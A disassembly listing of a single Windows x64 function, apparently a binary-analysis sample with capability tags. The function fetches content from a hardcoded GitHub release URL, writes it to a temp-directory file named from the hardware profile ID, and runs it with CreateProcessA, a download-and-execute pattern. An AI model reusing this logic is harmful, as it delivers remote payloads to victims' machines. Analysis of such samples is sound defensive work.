Function at 0x1400023d0
Capabilities:
Create process on windows
Get common file path

Disassembly:
push rbp
push rsi
push rdi
push r14
lea rbp, [rsp - 0x2e8]
sub rsp, 0x3e8
mov rax, qword [0x140029008]
xor rax, rsp
mov qword [rbp + 0x2d0], rax
lea rdx, str.https:__github.com_Fopa45_gameproject_releases_download_release_gameproject
lea rcx, [rbp + 0x68]
call fcn.1400019c0
lea rcx, [rbp + 0x68]
call fcn.140001d80
lea rdx, [rbp + 0x1c0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xorps xmm0, xmm0
mov qword [rbp - 0x10], 0
mov rdi, 0xffffffffffffffff
lea rax, [rbp + 0x1c0]
movups xmmword [rbp - 0x20], xmm0
mov rsi, rdi
inc rsi
cmp byte [rax + rsi], 0
jne 0x140002441
mov qword [rsp + 0x410], rbx
movabs r14, 0x7fffffffffffffff
mov qword [rsp + 0x418], r12
mov qword [rsp + 0x420], r13
mov qword [rsp + 0x3e0], r15
cmp rsi, r14
ja 0x140002c47
mov qword [rbp - 8], 0xf
mov ebx, 0x16
cmp rsi, 0x10
jae 0x1400024ae
mov r8, rsi
mov qword [rbp - 0x10], rsi
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp - 0x20]
call fcn.140005d80
mov byte [rbp + rsi - 0x20], 0
jmp 0x1400024fd
mov r15, rsi
or r15, 0xf
cmp r15, r14
jbe 0x1400024bf
mov r15, r14
jmp 0x1400024c6
cmp r15, rbx
cmovb r15, rbx
lea rdx, [r15 + 1]
lea rcx, [rbp - 0x20]
call fcn.140001d20
mov r8, rsi
mov qword [rbp - 0x20], rax
lea rdx, [rbp + 0x1c0]
mov qword [rbp - 0x10], rsi
mov rcx, rax
mov qword [rbp - 8], r15
mov rbx, rax
call fcn.140005d80
mov byte [rbx + rsi], 0
mov ebx, 0x16
lea rcx, [rbp + 0x90]
call qword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileW]
lea r8, [rbp + 0x94]
lea rdx, [0x14001d518]
lea rcx, [rbp + 0x190]
call fcn.140002c70
xorps xmm0, xmm0
lea rax, [rbp + 0x190]
movups xmmword [rbp + 0x28], xmm0
inc rdi
cmp byte [rax + rdi], 0
jne 0x140002532
cmp rdi, r14
ja 0x140002c47
cmp rdi, 0x10
jae 0x14000257c
mov r8, rdi
mov qword [rbp + 0x38], rdi
lea rdx, [rbp + 0x190]
mov qword [rbp + 0x40], 0xf
lea rcx, [rbp + 0x28]
call fcn.140005d80
mov byte [rbp + rdi + 0x28], 0
mov rsi, qword [rbp + 0x40]
mov rdi, qword [rbp + 0x38]
mov r12, qword [rbp + 0x28]
jmp 0x1400025c8
mov rsi, rdi
or rsi, 0xf
cmp rsi, r14
jbe 0x14000258d
mov rsi, r14
jmp 0x140002595
cmp rsi, 0x16
cmovb rsi, rbx
lea rdx, [rsi + 1]
lea rcx, [rbp + 0x28]
call fcn.140001d20
mov r8, rdi
mov qword [rbp + 0x28], rax
lea rdx, [rbp + 0x190]
mov qword [rbp + 0x38], rdi
mov rcx, rax
mov qword [rbp + 0x40], rsi
mov r12, rax
call fcn.140005d80
mov byte [r12 + rdi], 0
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
cmp rdi, 1
jb 0x140002c4d
lea r15, [rdi - 2]
lea rax, [rdi - 1]
cmp rax, r15
lea r13, [rbp + 0x28]
cmovb r15, rax
cmp rsi, 0x10
cmovae r13, r12
cmp r15, r14
ja 0x140002c47
cmp r15, 0x10
jae 0x140002627
mov r8, r15
mov qword [rbp + 0x10], r15
lea rdx, [r13 + 1]
mov qword [rbp + 0x18], 0xf
lea rcx, [rbp]
call fcn.140005d80
mov byte [rbp + r15], 0
jmp 0x140002670
mov rdi, r15
or rdi, 0xf
cmp rdi, r14
jbe 0x140002638
mov rdi, r14
jmp 0x140002640
cmp rdi, 0x16
cmovb rdi, rbx
lea rdx, [rdi + 1]
lea rcx, [rbp]
call fcn.140001d20
mov r8, r15
mov qword [rbp], rax
lea rdx, [r13 + 1]
mov qword [rbp + 0x10], r15
mov rcx, rax
mov qword [rbp + 0x18], rdi
mov rbx, rax
call fcn.140005d80
mov byte [rbx + r15], 0
cmp rsi, 0x10
jb 0x1400026a8
lea rdx, [rsi + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x1400026a0
mov r12, qword [r12 - 8]
add rdx, 0x27
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002c3b
mov rcx, r12
call fcn.140004018
movups xmm0, xmmword [rbp]
mov edx, 0x30
lea rcx, [rbp]
movups xmm1, xmmword [rbp + 0x10]
movups xmmword [rbp + 0x28], xmm0
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x38], xmm1
call fcn.140001d20
movups xmm0, xmmword [str.guoaealckeoalcmajlfdbasfbhltkwhoyrp]
mov rdx, rax
mov qword [rbp], rax
lea r8, [rbp]
mov qword [rbp + 0x10], 0x23
movups xmmword [rax], xmm0
mov qword [rbp + 0x18], 0x2f
movups xmm1, xmmword [0x14001d530]
movups xmmword [rax + 0x10], xmm1
movzx ecx, word [0x14001d540]
mov word [rax + 0x20], cx
lea rcx, [rbp + 0x48]
movzx eax, byte [0x14001d542]
mov byte [rdx + 0x22], al
mov byte [rdx + 0x23], 0
lea rdx, [rbp + 0x28]
call fcn.1400020d0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x14000275e
mov rcx, qword [rbp]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002759
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002c3b
call fcn.140004018
cmp qword [rbp + 0x60], 0x10
lea r9, [rbp + 0x48]
mov rdx, qword [rbp - 8]
cmovae r9, qword [rbp + 0x48]
mov rax, rdx
mov rcx, qword [rbp - 0x10]
mov rdi, qword [rbp + 0x58]
sub rax, rcx
cmp rdi, rax
ja 0x1400027af
cmp rdx, 0x10
lea rax, [rcx + rdi]
lea rbx, [rbp - 0x20]
mov qword [rbp - 0x10], rax
cmovae rbx, qword [rbp - 0x20]
mov r8, rdi
add rbx, rcx
mov rdx, r9
mov rcx, rbx
call fcn.140005d80
mov byte [rdi + rbx], 0
jmp 0x1400027c3
xor r8d, r8d
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rbp - 0x20]
call fcn.140001170
cmp qword [rbp - 8], 0x10
lea rcx, [rbp - 0x20]
cmovae rcx, qword [rbp - 0x20]
call fcn.14000ab84
mov r15, qword [rbp + 0x58]
mov rax, r14
sub rax, r15
cmp rax, 1
jb 0x140002c47
cmp qword [rbp + 0x60], 0x10
lea r12, [rbp + 0x48]
lea rsi, [r15 + 1]
mov ebx, 0xf
cmovae r12, qword [rbp + 0x48]
lea rdi, [rbp]
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
cmp rsi, rbx
jbe 0x14000288b
mov rbx, rsi
or rbx, 0xf
cmp rbx, r14
jbe 0x14000284d
movabs rax, 0x8000000000000000
mov rbx, r14
add rax, 0x27
mov rcx, rax
call fcn.140003fdc
test rax, rax
je 0x140002c3b
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002887
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140002876
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002c41
jmp 0x14000282e
test rcx, rcx
je 0x140002885
call fcn.140003fdc
mov rdi, rax
jmp 0x140002887
xor edi, edi
mov qword [rbp], rdi
mov qword [rbp + 0x10], rsi
lea rcx, [rdi + 1]
mov qword [rbp + 0x18], rbx
mov r8, r15
mov rdx, r12
mov byte [rdi], 0x5c
call fcn.140005d80
mov byte [rdi + rsi], 0
lea r9, [rbp]
mov r15, qword [rbp + 0x18]
mov rdx, qword [rbp - 8]
cmp r15, 0x10
mov rdi, qword [rbp]
mov rax, rdx
mov rcx, qword [rbp - 0x10]
cmovae r9, rdi
mov rsi, qword [rbp + 0x10]
sub rax, rcx
cmp rsi, rax
ja 0x140002900
cmp rdx, 0x10
lea rax, [rsi + rcx]
lea rbx, [rbp - 0x20]
mov qword [rbp - 0x10], rax
cmovae rbx, qword [rbp - 0x20]
mov r8, rsi
add rbx, rcx
mov rdx, r9
mov rcx, rbx
call fcn.140005d80
mov byte [rsi + rbx], 0
jmp 0x14000291c
xor r8d, r8d
mov qword [rsp + 0x20], rsi
mov rdx, rsi
lea rcx, [rbp - 0x20]
call fcn.140001170
mov r15, qword [rbp + 0x18]
mov rdi, qword [rbp]
cmp r15, 0x10
jb 0x140002953
lea rdx, [r15 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14000294b
mov rdi, qword [rdi - 8]
add rdx, 0x27
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002c3b
mov rcx, rdi
call fcn.140004018
cmp qword [rbp - 8], 0x10
lea rcx, [rbp - 0x20]
lea rdx, [0x14001d544]
cmovae rcx, qword [rbp - 0x20]
call fcn.14000aedc
mov r15, qword [rbp + 0x78]
xor edi, edi
mov r13, qword [rbp + 0x80]
mov r12, rax
mov rsi, qword [rbp + 0x68]
test r15, r15
je 0x1400029b6
xor ebx, ebx
nop dword [rax + rax]
cmp r13, 0x10
lea rcx, [rbp + 0x68]
mov rdx, r12
cmovae rcx, rsi
movsx ecx, byte [rbx + rcx]
call fcn.14000b044
inc edi
lea rbx, [rbx + 1]
movsxd rax, edi
cmp rax, r15
jb 0x140002990
mov rcx, r12
call fcn.14000ad88
mov rdx, qword [rbp - 8]
lea r15, [rbp - 0x20]
mov rax, qword [rbp - 0x20]
cmp rdx, 0x10
mov rdi, qword [rbp - 0x10]
cmovae r15, rax
cmp rdi, r14
ja 0x140002c47
cmp rdi, 0x10
jae 0x1400029f0
mov rbx, qword [r15]
mov r14d, 0xf
jmp 0x140002a33
mov rax, rdi
or rax, 0xf
cmp rax, r14
ja 0x140002a0c
mov r14, rax
cmp rax, 0x16
mov eax, 0x16
cmovb r14, rax
lea rdx, [r14 + 1]
lea rcx, [rbp + 0x68]
call fcn.140001d20
lea r8, [rdi + 1]
mov rdx, r15
mov rcx, rax
mov rbx, rax
call fcn.140005d80
mov rdx, qword [rbp - 8]
mov rax, qword [rbp - 0x20]
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
xor ecx, ecx
mov dword [rbp - 0x2c], ecx
cmp rdx, 0x10
mov qword [rsp + 0x60], rcx
lea rcx, [rbp - 0x20]
cmovae rcx, rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
xor edi, edi
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], rdi
xor edx, edx
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], edi
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp r14, 0x10
jb 0x140002af9
lea rdx, [r14 + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140002af1
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002c3b
mov rcx, rbx
call fcn.140004018
mov rdx, qword [rbp + 0x60]
cmp rdx, 0x10
jb 0x140002b34
mov rcx, qword [rbp + 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b2f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002c3b
call fcn.140004018
mov rdx, qword [rbp + 0x40]
mov qword [rbp + 0x58], rdi
mov qword [rbp + 0x60], 0xf
mov byte [rbp + 0x48], dil
cmp rdx, 0x10
jb 0x140002b7f
mov rcx, qword [rbp + 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b7a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002c3b
call fcn.140004018
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140002bba
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002bb5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002c3b
call fcn.140004018
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], dil
cmp r13, 0x10
jb 0x140002bfd
lea rdx, [r13 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140002bf5
mov rsi, qword [rsi - 8]
add rdx, 0x27
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002c3b
mov rcx, rsi
call fcn.140004018
mov r15, qword [rsp + 0x3e0]
xor eax, eax
mov r13, qword [rsp + 0x420]
mov r12, qword [rsp + 0x418]
mov rbx, qword [rsp + 0x410]
mov rcx, qword [rbp + 0x2d0]
xor rcx, rsp
call fcn.140004130
add rsp, 0x3e8
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.14000a6e4
int3
call fcn.140001cc0
int3
call fcn.140001ce0
int3
call fcn.140001d00
int3